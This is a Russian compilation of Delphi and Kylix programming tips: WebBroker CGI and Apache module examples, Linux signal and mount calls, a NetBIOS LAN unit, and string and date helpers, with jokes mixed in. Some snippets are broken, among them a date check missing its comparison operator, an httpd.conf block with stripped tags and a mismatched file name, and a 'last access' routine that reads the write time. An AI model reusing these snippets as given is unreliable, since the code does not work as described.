Объект Request содержит данные о поступившем запросе. Свойства этого объекта позволяют получить сведения об адресе удаленной машины, программном обеспечении клиента, методе запроса и т. п. Для CGI-запроса в объекте Request передается также список параметров запроса. Список параметров хранится в свойстве ContentFields (если запрос передан посредством метода POST) или QueryFields (если использовался метод GET). Оба свойства имеют тип TStrings и содержат набор строк вида ParamName=ParamValue Объект Response описывает ответные действия приложения. Текст HTML страницы, возвращаемой приложением, передается в свойстве Content объекта Response. В простейшем CGI-приложении обработчик OnAction может выглядеть следующим образом:

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Content := '<HTML><BODY><H2>Delphi World !</H2></BODY></HTML>';
end;

Рассмотрим другие примеры. В приложении frenchwines главная HTML-страница выводится при выполнении действия frenchwines/welcome. Однако, пользователь может набрать в строке броузера просто .../frenchwines или .../frenchwines/ и было бы очень удобно, если бы в этой ситуации приложение автоматически перенаправляло броузер пользователя на страницу frenchwines/welcome. Для того, чтобы приложение fenchwines выполняло такое перенаправление, в нем заданы два действия, значениями PathInfo которых являются соответственно пустая строка и символ "/". Обоим действиям можно назначить один и тот же обработчик OnAction:

procedure TWebModule1.WebModule1WebActionItem3Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Location := Request.InternalScriptName + '/welcome';
  Response.StatusCode := 301;
  Response.Content := '<HTML><BODY><H2>This page is redirected to < A HREF = '+ Response.Location +' / > '
    + Request.Host + Response.Location + '</A></H2></BODY></HTML>';
end;

Статус-код 301 сообщает клиенту о необходимости перенаправить запрос по новому адресу. А что произойдет, если клиент пошлет запрос на выполнение действия, которое не определено в CGI-приложении, например frenchwines/querydb ? В этом случает Kylix-приложение сгенерирует исключение и Web-сервер выдаст неприятное сообщение о внутренней ошибке. Для того, чтобы обращение к неопределенному действию не приводило к исключительной ситуации, необходимо создать еще одно действие и присвоить свойству Default соответствующего объекта TWebActionItem значение True. Теперь это действие будет вызываться для всех запросов, вызывающих неопределенные действия. Обработчик события OnAction этого действия может выглядеть следующим образом:

procedure TWebModule1.WebModule1WebActionItem4Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Title := 'Resource Not Found';
  Response.StatusCode := 404;
  Response.Content := '<HTML><BODY><H2>Error 404</H2><P>Requested resource "'
    + Request.InternalScriptName + Request.PathInfo + '" is not found on this server. </BODY> </HTML>';
end;
Генераторы контента Во всех приведенных выше примерах HTML страницы, возвращаемые сервером задавались в явном виде, путем присвоения строки HTML команд свойству Content. Очевидно, что для вывода сложных страниц с большим числом элементов такой подход непригоден. Для облегчения решения этой проблемы Kylix предоставляет несколько специальных компонентов-генераторов контента (content producers). На вкладке Internet панели компонентов Kylix раположены четыре компонента-генератора: TPageProducer, TDataSetTableProducer, TSQLQueryTableProducer и TDataSetPageProducer. Компонент TPageProducer генерирует страницу на основе заданного шаблона. Идея этого компонента заключается в том, что на многих динамических HTML страницах изменяются только отдельные фрагменты, основная же часть страницы остается неизменной. Шаблоном для компонента TPageProducer может служить обычная HTML-страница, в которую добавлены специальные тэги, невидимые для броузера. Формат тэга имеет следующий вид: <#TagName Param1=Value1 Param2=Value2 ...>

Шаблон может быть задан в свойстве HTMLDoc (в виде набора строк) или в свойстве HTMLFile (как имя файла). Для получения HTML страницы, построенной на основе шаблона, никаких специальных команд вызывать не нужно. Необходимо лишь прочитать свойство Content компонента TPageProducer. При этом функция, лежащая в основе свойства Content, анализирует заданный шаблон и всякий раз, когда в шаблоне встречается тэг, описанный выше, вызывает обработчик события OnHTMLTag, которому передается информация о тэге, вызвавшем событие. Обработчик события OnHTMLTag обычно возвращает строку, которой следует заменить соответствующий тэг в готовой странице. Таким образом, при обращении к свойству content возвращается строка HTML команд, в которой прозрачные тэги уже заменены динамическими значениями. При использовании компонента TPageProducer, обработчик события OnAction, возвращающий клиенту динамическую страницу, мог бы выглядеть следующим образом:

procedure TWebModule1.WebModule1WebActionItem4Action(Sender: TObject; Request:
  TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Content := PageProducer1.Content;
end;

Код выглядит очень просто, однако все можно упростить еще больше. Если все, что нужно сделать в ответ на запрос, это передать страницу, созданную компонентом-генератором контента, можно вообще обойтись без обработчика OnAction. Достаточно присвоить свойству Producer соответствующего объекта TWebActionItem ссылку на компонент-генератор. Специально для отображения содержимого баз данных в Kylix и Delphi существуют еще три компонента-генератора Web-страниц: TDataSetTableProducer, TSQLQueryTableProducer и TDataSetPageProducer. Компонент TDataSetTableProducer генерирует HTML страницу, на которой записи из базы данных отображаются в виде таблицы. Для того, чтобы связать компонент TDataSetTableProducer с базой данных, необходимо указать соответствующее значение в свойстве DataSet. HTML-страница генерируется при обращении к свойству Content, также, как и в случае с TPageProducer. Компонент TDataSetTableProducer обладает множеством свойств, позволяющих задать различные элементы и внешний вид генерируемой страницы. Событие OnFormatCell, возникающее в процессе генерации страницы, позволяет динамически форматировать отдельные ячейки создаваемой таблицы.

Статьи по Delphi (011)… TSQLQueryTableProducer выполняет те же функции, что и TDataSetTableProducer с тем отличием, что TSQLQueryTableProducer работает с SQL запросами к базам данных, содержащими параметры, что позволяет не отображать всю таблицу целиком, а производить выборку данных на основе некоторого признака. Источником данных для компонента TSQLQueryTableProducer является компонент TSQLQuery, на который должно указывать свойство TSQLQueryTableProducer.Query. Примеры использования компонентов TDataSetTableProducer и TSQLQueryTableProducer можно видеть в приложении frenchwines. Компонент TDataSetPageProducer позволяет создавать Web-страницу, содержащую информацию из одной (текущей) записи базы данных. Разделяемые модули для сервера Apache

Рассмотренные в предыдущей части приложения используют универсальный интерфейс CGI и могут работать совместно с любым Web-сервером. Web-сервер Apache позволяет также использовать модули, обладающие более широкой функциональностью. Модули могут быть скомпилированы как часть ядра Apache или же реализованы в виде разделяемых библиотек. Borland Kylix позволяет создавать только модули в виде разделяемых библиотек. Для того, чтобы сервер Apache мог подключать разделяемые библиотеки, необходимо пересобрать ядро сервера, установив опцию, разрешающую загрузку разделяемых модулей. Для пересборки ядра вам потребуются исходные тексты apache (скачать их можно с www.apache.org ). Распакуйте архив дистрибутива и в коневом каталоге дистрибутива создайте файл config.status, содержащий следующий текст:

#!/bin/sh 
LIBS="/usr/lib/libpthread.so" \ 
./configure \ 
"--with-layout=Apache" \ 
"--enable-module=so" \ 
"--enable-rule=SHARED_CORE" \ 
"$@" 
Далее этому файлу следует присвоить статус исполнимого: chmod 755 config.status запускаем созданный скрипт: ./config.status и даем команду make Теперь у нас есть версия Apache, поддерживающая разделяемые модули. Для того, чтобы установить сервер автоматически, необходимо в режиме root дать команду make install Учтите при этом, что после выполнения этой команды новая версия Apache может быть установлена в каталог, отличный от того, в который она была установлена ранее. Возможно, вам придется отредактировать файлы сценариев запуска и файл httpd.conf. Если Apache был установлен в каталог /usr/local/apache/, то для запуска сервера вручную можно воспользоваться командой: /usr/local/apache/bin/apachectl start а для остановки: /usr/local/apache/bin/apachectl stop

Теперь можно перейти к написанию простейшего модуля. Для создания заготовки модуля Apache в Kylix в окне New выберите элемент Web Server Application и в открывшемся диалоговом окне – пункт Apache shared module (DSO). Kylix создаст новый проект и в нем Web-модуль, аналогичный Web-модулю CGI-приложения. Разработка модулей для Apache практически аналогична разработке CGI-приложений. Сохраните ваш модуль под именем apachedemo. Создайте новое действие (при помощи свойства Actions объекта TWebModule1 и назначьте следующий обработчик событию OnAction созданного объекта-действия:

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Content := '<HTML><BODY><H2>Delphi World! </H2> </BODY> </HTML>';
end;

Откройте окно исходного текста проекта (Project|View Source) и отредактируйте текст, так чтобы он выглядел следующим образом:

library apachedemo;
uses
  WebBroker, HTTPD, ApacheApp, Main in 'Main.pas' {WebModule1: TWebModule};
exports
  apache_module name 'hello_module';
begin
  ModuleName := 'Hello_Module';
  ContentType := 'hello-handler';
  Application.Initialize;
  Application.CreateForm(TWebModule1, WebModule1);
  Application.Run;
end.
Значения переменных ModuleName и ContentType необходимы серверу Apache для идентификации модуля.

Модуль для сервера готов! Скомпилируйте проект. В результате компиляции должен быть создан файл libapachedemo.so. Скопируйте этот файл в каталог разделяемых модулей сервера Apache (если сервер был установлен в каталог /usr/local/apache/, каталогом разделяемых модулей будет /usr/local/apache/libexec. Далее внесите следующие строки в файл httpd.conf:

LoadModule hello_module libexec/libHelloModule.so 
 
SetHandler hello-handler 
  

После директивы LoadModule следует имя модуля (указанное в директиве exports библиотеки) и путь к файлу, в котором размещен модуль. Команда Location позволяет задать URL, соответствующую обработчику hello-handler. Для того, чтобы проверить работу модуля, перезапустите Web-сервер и в окне броузера наберите:

http://localhost/hello. 

Теперь рассмотрим более интересный пример. Допустим, на вашем Web-сервере размещены файлы с исходными текстами Kylix-программ (файлы *.pas и *.dpr) и вы хотите, чтобы пользователям эти файлы передавались не в текстовом формате, а в формате HTML, с разметкой синтаксиса, характерной для Delphi и Kylix. Конечно, эту проблему можно решить, конвертируя все файлы исходных текстов в формат HTML перед размещением их на сервере, но мы пойдем другим путем. Файлы исходных текстов размещаются на сервере в обычном текстовом формате, а специальный модуль сервера Apache будет конвертировать их в формат HTML "налету", перед посылкой клиенту. Исходный текст модуля находится здесь. Текстовый файл reserved содержит список зарезервированных слов (которые выделяются жирным шрифтом). Скопируйте этот файл в какой-нибудь каталог (например /usr/local/apache/libexec/) и укажите путь к этому файлу в константе ReservedPath в файле main.pas. Скомпилируйте проект и скопируйте полученную библиотеку libpas2html.so в каталог libexec. В файл httpd.conf добавьте следующие строки:

LoadModule pas2html_module libexec/libpas2html.so 
AddType text/html .pas 
AddHandler pas2html-handler .pas 
AddType text/html .dpr 
AddHandler pas2html-handler .dpr 

После этого следует перезапустить Web-сервер. Теперь все файлы с расширениями .pas и .dpr, находящиеся в Web-подкаталогах, будут автоматически конвертироваться в формат HTML перед посылкой клиенту.

Как перехватывать kernel-signals.

Автор: http://www.swissdelphicenter.ch

program TestSignals;
{$APPTYPE CONSOLE}
uses
  Libc;
var
  bTerminate: Boolean;
procedure SignalProc(SigNum: Integer); cdecl;
begin
  case SigNum of
    SIGQUIT:
      begin
        WriteLn('signal SIGQUIT');
        bTerminate := true;
      end;
    SIGUSR1: WriteLn('signal SIGUSR1');
  else
    WriteLn('not handled signal');
  end;
  signal(SigNum, SignalProc); // catch the signal again
end;
begin
  bTerminate := false;
  signal(SIGQUIT, SignalProc);
    // catch the signal SIGQUIT to procedure SignalProc
  signal(SIGUSR1, SignalProc);
    // catch the signal SIGUSR1 to procedure SignalProc
  repeat
    sleep(1);
  until bTerminate;
end.

Как сделать mount.

Автор: http://www.swissdelphicenter.ch

{
  The following example shows a Linux-Console application, which mount
  the floppy.
 }
program Project1;
{$APPTYPE CONSOLE}
uses
  Libc;
begin
  if mount('/dev/fd0', '/mnt/floppy', 'vfat', MS_RDONLY, nil) = -1 then
    WriteLn('Mount return : ', Errno, '(', strerror(errno), ')')
  else
    WriteLn('Floppy mounted');
end.

Как нарисовать повёрнутый текст.

Автор: http://www.swissdelphicenter.ch

uses
  QT;
procedure TForm1.RotatedText(Cnv: TCanvas; Wkl: Integer;
  Pxy: TPoint; Txt: string);
var
  PrPoint: TPoint;
begin
  // Rotate Canvas
  QPainter_rotate(Cnv.Handle, Wkl);
  // Convert Device Coord. to Modell- Coord.
  QPainter_xFormDev(Cnv.Handle, PPoint(@PrPoint),
    PPoint(@Pxy));
  // Write text.
  Canvas.TextOut(PrPoint.X, PrPoint.Y, 'Txt');
end;

Как запустить другое приложение.

Автор: http://www.swissdelphicenter.ch

uses
  libc;
procedure TForm1.Button1Click(Sender: TObject);
var
  iPrg: Integer;
begin
  //Execute kcalc - A calculator for KDE
  iPrg := libc.system('kcalc');
  if iPrg = -1 then
    ShowMessage('Error executing your program');
end;

Как получить имя текущего пользователя.

Автор: http://www.swissdelphicenter.ch

function GetCurrentUser: string;
var
  pwrec: PPasswordRecord;
begin
  pwrec := getpwuid(getuid);
  Result := pwrec.pw_name;
end;

Как использовать ресурсы.

Автор: http://www.swissdelphicenter.ch

{
  To create resource files (*.res) for Kylix you can use the Delphi
  brcc32.exe resource compiler.
  Take a look at ;http://www.swissdelphicenter.ch/en/showcode.php?id=1049
  Kylix dont support userdefined resourcetypes. Therefore you have to define
  all resources without a predefined ResType as RCDATA.
  Example with TResourceStream
  Saves the resource (in userdefined.res) with the name MYRES1 to the file
  test.txt
 }
uses
  SysUtils, Types, Classes, Variants, QGraphics, QControls, QForms, QDialogs,
  QStdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;
var
  Form1: TForm1;
implementation
{$R *.xfm}
{$R userdefined.res}
procedure TForm1.Button1Click(Sender: TObject);
var
  stream: TResourceStream;
begin
  stream := TResourceStream.Create(HInstance, 'MYRES1', RT_RCDATA);
  with TFileStream.Create('test.txt', fmCreate) do
  begin
    CopyFrom(stream, stream.Size);
    Free;
  end;
end;

3D-рамка для текстовых компонентов.

Статьи по Delphi (011)…

Вспоминаю что надо сходить в магазин за продуктаим - беру деньги смотрю нехватает ,а сам уже автоматически думаю надо взять отгрузочный файл - найти байты денег и сделать себе побольше...

Один из примеров создания текстового компонента с трехмерной декоративной контурной рамкой (для создания компонента потребовалось около получаса. Он демонстрирует только принцип получения рамки. Я не стал колдовать над свойствами типа ParentFont..., т.к. это заняло бы еще немало времени и места).

unit IDSLabel;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs,
  ExtCtrls;
type
  TIDSLabel = class(TBevel)
  private
    { Private declarations }
    FAlignment: TAlignment;
    FCaption: string;
    FFont: TFont;
    FOffset: Byte;
    FOnChange: TNotifyEvent;
    procedure SetAlignment(taIn: TAlignment);
    procedure SetCaption(const strIn: string);
    procedure SetFont(fntNew: TFont);
    procedure SetOffset(bOffNew: Byte);
  protected
    { Protected declarations }
    constructor Create(compOwn: TComponent); override;
    destructor Destroy; override;
    procedure Paint; override;
  public
    { Public declarations }
  published
    { Published declarations }
    property Alignment: TAlignment read FAlignment write SetAlignment default
      taLeftJustify;
    property Caption: string read FCaption write SetCaption;
    property Font: TFont read FFont write SetFont;
    property Offset: Byte read FOffset write SetOffset;
    property OnChange: TNotifyEvent read FOnChange write FOnChange;
  end;
implementation
constructor TIDSLabel.Create;
begin
  inherited Create(compOwn);
  FFont := TFont.Create;
  with compOwn as TForm do
    FFont.Assign(Font);
  Offset := 4;
  Height := 15;
end;
destructor TIDSLabel.Destroy;
begin
  FFont.Free;
  inherited Destroy;
end;
procedure TIDSLabel.Paint;
var
  wXPos, wYPos: Word;
begin
  {Рисуем рамку}
  inherited Paint;
  {Назначаем шрифт}
  Canvas.Font.Assign(Font);
  {Вычисляем вертикальную позицию}
  wYPos := (Height - Canvas.TextHeight(Caption)) div 2;
  {Вычисляем горизонтальную позицию}
  wXPos := Offset;
  case Alignment of
    taRightJustify: wXPos := Width - Canvas.TextWidth(Caption) - Offset;
    taCenter: wXPos := (Width - Canvas.TextWidth(Caption)) div 2;
  end;
  Canvas.Brush := Parent.Brush;
  Canvas.TextOut(wXPos, wYPos, Caption);
end;
procedure TIDSLabel.SetAlignment;
begin
  FAlignment := taIn;
  Invalidate;
end;
procedure TIDSLabel.SetCaption;
begin
  FCaption := strIn;
  if Assigned(FOnChange) then
    FOnChange(Self);
  Invalidate;
end;
procedure TIDSLabel.SetFont;
begin
  FFont.Assign(fntNew);
  Invalidate;
end;
procedure TIDSLabel.SetOffset;
begin
  FOffset := bOffNew;
  Invalidate;
end;
end.

Библиотека для работы с LAN.

Оформил: DeeCo

Автор: Alex.

unit NetProcs;
interface
uses Classes, Windows;
type
  TAdapterStatus = record
    adapter_address: array[0..5] of Char;
    filler: array[1..4 * SizeOf(Char) + 19 * SizeOf(Word)
    + 3 * SizeOf(DWORD)] of Byte;
  end;
  THostInfo = record
    username: PWideChar;
    logon_domain: PWideChar;
    oth_domains: PWideChar;
    logon_server: PWideChar;
  end; {record}
function IsNetConnect: Boolean;
{Возвращает TRUE если компьютер подключен к сети, иначе - FALSE}
function AdapterToString(Adapter: TAdapterStatus): string;
{Преобразует MAC адес в привычный xx-xx-xx-xx}
function GetMacAddresses(const Machine: string;
  const Addresses: TStrings): Integer;
{Заполняет Addresses MAC-адресами компьютера с сетевым именем  Machine.
 Возвращает число МАС адресов на компьютере}
function GetNetUser(HostName: WideString): THostInfo;
{Возвращает LOGIN текущего пользователя на HOSTNAME компьютере}
implementation
uses NB30, SysUtils;
function IsNetConnect: Boolean;
begin
  if GetSystemMetrics(SM_NETWORK) and $01 = $01 then
    Result := True
  else
    Result := False;
end; {function}
function AdapterToString(Adapter: TAdapterStatus): string;
begin
  with Adapter do
    Result :=
      Format('%2.2x-%2.2x-%2.2x-%2.2x-%2.2x-%2.2x', [
      Integer(adapter_address[0]), Integer(adapter_address[1]),
        Integer(adapter_address[2]), Integer(adapter_address[3]),
        Integer(adapter_address[4]), Integer(adapter_address[5])]);
end; {function}
function GetMacAddresses(const Machine: string;
  const Addresses: TStrings): Integer;
const
  NCBNAMSZ = 16; // absolute length of a net name
  MAX_LANA = 254; // lana's in range 0 to MAX_LANA inclusive
  NRC_GOODRET = $00; // good return
  NCBASTAT = $33; // NCB ADAPTER STATUS
  NCBRESET = $32; // NCB RESET
  NCBENUM = $37; // NCB ENUMERATE LANA NUMBERS
type
  PNCB = ^TNCB;
  TNCBPostProc = procedure(P: PNCB); stdcall;
  TNCB = record
    ncb_command: Byte;
    ncb_retcode: Byte;
    ncb_lsn: Byte;
    ncb_num: Byte;
    ncb_buffer: PChar;
    ncb_length: Word;
    ncb_callname: array[0..NCBNAMSZ - 1] of Char;
    ncb_name: array[0..NCBNAMSZ - 1] of Char;
    ncb_rto: Byte;
    ncb_sto: Byte;
    ncb_post: TNCBPostProc;
    ncb_lana_num: Byte;
    ncb_cmd_cplt: Byte;
    ncb_reserve: array[0..9] of Char;
    ncb_event: THandle;
  end;
  PLanaEnum = ^TLanaEnum;
  TLanaEnum = record
    length: Byte;
    lana: array[0..MAX_LANA] of Byte;
  end;
  ASTAT = record
    adapt: TAdapterStatus;
    namebuf: array[0..29] of TNameBuffer;
  end;
var
  NCB: TNCB;
  Enum: TLanaEnum;
  I: Integer;
  Adapter: ASTAT;
  MachineName: string;
begin
  Result := -1;
  Addresses.Clear;
  MachineName := UpperCase(Machine);
  if MachineName = '' then
    MachineName := '*';
  FillChar(NCB, SizeOf(NCB), #0);
  NCB.ncb_command := NCBENUM;
  NCB.ncb_buffer := Pointer(@Enum);
  NCB.ncb_length := SizeOf(Enum);
  if Word(NetBios(@NCB)) = NRC_GOODRET then
  begin
    Result := Enum.Length;
    for I := 0 to Ord(Enum.Length) - 1 do
    begin
      FillChar(NCB, SizeOf(TNCB), #0);
      NCB.ncb_command := NCBRESET;
      NCB.ncb_lana_num := Enum.lana[I];
      if Word(NetBios(@NCB)) = NRC_GOODRET then
      begin
        FillChar(NCB, SizeOf(TNCB), #0);
        NCB.ncb_command := NCBASTAT;
        NCB.ncb_lana_num := Enum.lana[i];
        StrLCopy(NCB.ncb_callname, PChar(MachineName), NCBNAMSZ);
        StrPCopy(@NCB.ncb_callname[Length(MachineName)],
          StringOfChar(' ', NCBNAMSZ - Length(MachineName)));
        NCB.ncb_buffer := PChar(@Adapter);
        NCB.ncb_length := SizeOf(Adapter);
        if Word(NetBios(@NCB)) = NRC_GOODRET then
          Addresses.Add(AdapterToString(Adapter.adapt));
      end;
    end;
  end;
end; {function}
function
  NetWkstaUserEnum(servername: PWideChar;
  level: DWord;
  var bufptr: Pointer;
  prefmaxlen: DWord;
  var entriesread: PDWord;
  var totalentries: PDWord;
  var resumehandle: PDWord): LongInt;
  stdcall; external 'netapi32.dll' name 'NetWkstaUserEnum';
function GetNetUser(HostName: WideString): THostInfo;
var
  Info: Pointer;
  ElTotal: PDWord;
  ElCount: PDWord;
  Resume: PDWord;
  Error: LongInt;
begin
  Resume := 0;
  NetWkstaUserEnum(PWideChar(HostName), 1, Info, 0,
    ElCount, ElTotal, Resume);
  Error := NetWkstaUserEnum(PWideChar(HostName), 1, Info, 256 *
    Integer(ElTotal),
    ElCount, ElTotal, Resume);
  case Error of
    ERROR_ACCESS_DENIED: Result.UserName := 'ERROR - ACCESS DENIED';
    ERROR_MORE_DATA: Result.UserName := 'ERROR - MORE DATA';
    ERROR_INVALID_LEVEL: Result.UserName := 'ERROR - INVALID LEVEL';
  else if Info <> nil then
    Result := THostInfo(info^)
  else
  begin
    Result.username := '???';
    Result.logon_domain := '???';
    Result.oth_domains := '???';
    Result.logon_server := '???';
  end; {if}
  end; {case}
end; {function}
end.

Как выяснить дату последнего доступа к файлу.

Некий программист-коболист в поте лица трудился над пресловутой проблемой 2000 года. Он чинил программы во многих фирмах и зашибал приличные бабки. Но по мере приближения роковой даты его все больше охватывал ужас: что будет со всеми этими программами и с ним самим? Наконец он решил заморозиться и проспать в анабиозе до февраля 2000 года, а там, глядишь, вся свистопляска и уляжется... ...Он проснулся в странном незнакомом помещении, вокруг ликовали люди: - Очнулся, очнулся! - Сейчас с вами будет говорить президент Земного Шара. На огромном стереоскопическом экране возник человек, весьма похожий на Билла Гейтса. - Видите ли, программа вашей камеры при переходе к 2000 году сработала неправильно, и вы проспали почти 8000 лет. Но вы не волнуйтесь. Наша жизнь прекрасна. Мы достигли огромных успехов в науке и технологии. Мы покорили время и пространство. Мы... - Но почему вы меня разморозили? - Понимаете, приближается 10000 год, а в вашем досье указано, что вы знаете КОБОЛ.

Данная процедура, позволяет узнать дату последнего доступа к файлу, код не проверял, но говорят работает. Для тех кто не знает что с этим делать намекну, можно использовать для создания триального реиода или просто отслеживания доступа к компьютеру.

procedure TForm1.Button1Click(Sender: TObject);
var
  FileHandle: THandle;
  LocalFileTime: TFileTime;
  DosFileTime: DWORD;
  LastAccessedTime: TDateTime;
  FindData: TWin32FindData;
begin
  FileHandle := FindFirstFile('AnyFile.FIL', FindData);
  if FileHandle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      FileTimeToDosDateTime(LocalFileTime,
        LongRec(DosFileTime).Hi, LongRec(DosFileTime).Lo);
      LastAccessedTime := FileDateToDateTime(DosFileTime);
      Label1.Caption := DateTimeToStr(LastAccessedTime);
    end;
  end;
end;

Последний день месяца.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function LastDayOfCurrentMonth: TDate;
 var
   y, m, d: Word;
 begin
   DecodeDate(now, y, m, d);
   m := m + 1;
   if m  12 then
   begin
     y := y + 1;
     m := 1;
   end;
   Result := EncodeDate(y, m, 1) - 1;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage(DateToStr(LastDayOfCurrentMonth));
 end;

Получить позицию последнего вхождения подстроки в строку.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

 { 
  Letzte Position von SubStr in S ermitteln. 
  Returns the last occurence of SubStr in S. 
}
 function LastPos(SubStr, S: string): Integer;
 var
   Found, Len, Pos: integer;
 begin
   Pos := Length(S);
   Len := Length(SubStr);
   Found := 0;
   while (Pos > 0) and (Found = 0) do
   begin
     if Copy(S, Pos, Len) = SubStr then
       Found := Pos;
     Dec(Pos);
   end;
   LastPos := Found;
 end;

Получить позицию последнего вхождения подстроки в строку 2.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

 // by Manuel Wiersch 
 function LastPos(const SubStr: AnsiString; const S: AnsiString): LongInt;
 asm
         TEST    EAX,EAX         // EAX auf 0 prufen (d.h. SubStr = nil) 
        JE      @@noWork        // wenn EAX = 0 dann Sprung zu noWork 
        TEST    EDX,EDX
         // Test ob S = nil 
        JE      @@stringEmpty   // bei Erfolg -> Sprung zum Label 'stringEmpty' 
        PUSH    EBX
         PUSH    ESI
         PUSH    EDI             // Register auf dem Stack sichern  Grund: OH 
                                // OH: "In einer asm-Anweisung mu? der Inhalt 
                                // der Register EDI, ESI, ESP, EBP und EBX 
                                // erhalten bleiben (dh. vorher auf dem Stack 
                                // speichern)         MOV     ESI, EAX 
                                // ESI = Sourceindex      -> Adresse vom SubStr 
        MOV     EDI, EDX        // EDI = Destinationindex -> Adresse von S 
        MOV     ECX,[EDI-4]     // Lange von S  ins Zahlregister 
        MOV     EDX,[ESI-4]     // Lange des SubStr in EDX 
        DEC     EDX             // Length(SubStr) - 1 
        JS      @@fail
         // Vorzeichenbedingter Sprung (JumpIfSign) 
                                // d.h. (EDX < 0) -> Sprung zu 'fail' 
        STD;                    // SetDirectionFlag -> Stringroutinen von hinten 
                                // abarbeiten 
        ADD     ESI, EDX        // Pointer auf das letzte Zeichen vom SubStr 
        ADD     EDI, ECX
         DEC     EDI             // Pointer auf das letzte Zeichen von S 
        MOV     AL, [ESI]       // letztes Zeichen des SubStr in AL laden 
        DEC     ESI             // Pointer auf das vorletzte Zeichen setzen. 
        SUB     ECX, EDX        // Anzahl der Stringdurchlaufe 
                                // = Length(s) - Length(substr) + 1 
        JLE     @@fail          // Sprung zu 'fail' wenn ECX <= 0 
@@loop:
         REPNE   SCASB           // Wdh. solange ungleich (repeat while not equal) 
                                // scan string for byte 
        JNE     @@fail
         MOV     EBX,ECX         { Zahleregister, ESI und EDI sichern, da nun der 
                                  Vergleich durchgefuhrt wird ob die nachfolgenden 
                                  Zeichen von SubStr in S vorhanden sind }
         PUSH    ESI
         PUSH    EDI
         MOV     ECX,EDX         // Lange des SubStrings in ECX 
        REPE    CMPSB           // Solange (ECX > 0) und (Compare string fo byte) 
                                // dh. solange S[i] = SubStr[i] 
        POP     EDI
         POP     ESI             // alten Source- und Destinationpointer vom Stack holen 
        JE      @@found         // Und schon haben wir den Index da ECX = 0 
                                // dh. alle Zeichen wurden gefunden 
        MOV     ECX, EBX        // ECX wieder auf alte Anzahl setzen und 
        JMP     @@loop          // Start bei 'loop' 
@@fail:
         XOR     EAX,EAX         // EAX auf 0 setzen 
        JMP     @@exit @@stringEmpty:
         XOR     EAX,EAX
         JMP     @@noWork @@found:
         MOV     EAX, EBX        // in EBX steht nun der aktuelle Index 
        INC     EAX             // um 1 erhohen, um die Position des 1. Zeichens zu 
                                // bekommen 
@@exit:
         POP     EDI
         POP     ESI
         POP     EBX
 @@noWork:         CLD;          // DirectionFlag loschen 
end;

Взять часть URL, которая следует после названия сайта.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  InternetCrackUrl() takes a URL as a parameter and breaks it down into components, 
  which are then accessible via the TURLComponents structure. 
  InternetCrackUrl() zerlegt eine URL in seine Komponenten, welche dann ььег die 
  TURLComponents Struktur zиgдng1iсh sind. 
}
 uses
   WinInet;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   aURLC: TURLComponents;
 const
   TEST_URL = 'http://www.swissdelphicenter.ch/de/tipsindex.php';
 begin
   FillChar(aURLC, SizeOf(TURLComponents), 0);
   with aURLC do
   begin
     lpszScheme := nil;
     dwSchemeLength := INTERNET_MAX_SCHEME_LENGTH;
     lpszHostName := nil;
     dwHostNameLength := INTERNET_MAX_HOST_NAME_LENGTH;
     lpszUserName := nil;
     dwUserNameLength := INTERNET_MAX_USER_NAME_LENGTH;
     lpszPassword := nil;
     dwPasswordLength := INTERNET_MAX_PASSWORD_LENGTH;
     lpszUrlPath := nil;
     dwUrlPathLength := INTERNET_MAX_PATH_LENGTH;
     lpszExtraInfo := nil;
     dwExtraInfoLength := INTERNET_MAX_PATH_LENGTH;
     dwStructSize := SizeOf(aURLC);
   end;
   if InternetCrackUrl(PChar(TEST_URL), Length(TEST_URL), 0, aURLC) then
   begin
     ShowMessage(aURLC.lpszUrlPath);
   end;
 end;

Как отловить изменение раскладки клавиатуры.

Автор: Александр
Клавиатура Калашникова: Del-Del-Del-Del-.....

Нужно ловить сообщение WM_INPUTLANGCHANGEREQUEST.

Или.

procedure TForm1.Timer1Timer(Sender: TObject);
var
  Layout: array [0.. KL_NAMELENGTH] of char;
begin
  GetKeyboardLayoutName(Layout);
  if Layout = '00000409' then
    label1.caption:='en'
  else
    label1.caption:='ru';
end;

Копирование выделеных строк из Listbox1 в Listbox2.

Автор: Black_phoenix WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> копирование выделеных строк из listbox1 в listbox2
Зависимости: Windows, SysUtils, Classes, Controls, StdCtrls
Автор:       Black_phoenix, Black_phoenix@rambler.ru, Almaty
Copyright:
Дата:        30 апреля 2003 г.
***************************************************** }
public
  function GetFirstSelection(List: TCustomListBox): Integer;
  procedure MoveSelected(List: TCustomListBox; Items: TStrings);
  procedure SetItem(List: TListBox; Index: Integer);
implementation
function tform1.GetFirstSelection(List: TCustomListBox): Integer;
begin
  for Result := 0 to List.Items.Count - 1 do
    if List.Selected[Result] then
      Exit;
  Result := LB_ERR;
end;
procedure tform1.MoveSelected(List: TCustomListBox; Items: TStrings);
var
  I: Integer;
begin
  for I := List.Items.Count - 1 downto 0 do
    if List.Selected[I] then
    begin
      Items.AddObject(List.Items[I], List.Items.Objects[I]);
      // List.Items.Delete(I); // можно оставить если вы хотите чтобы в 1 списке строки удалились
    end;
end;
procedure tform1.SetItem(List: TListBox; Index: Integer);
var
  MaxIndex: Integer;
begin
  with List do
  begin
    SetFocus;
    MaxIndex := List.Items.Count - 1;
    if Index = LB_ERR then
      Index := 0
    else if Index > MaxIndex then
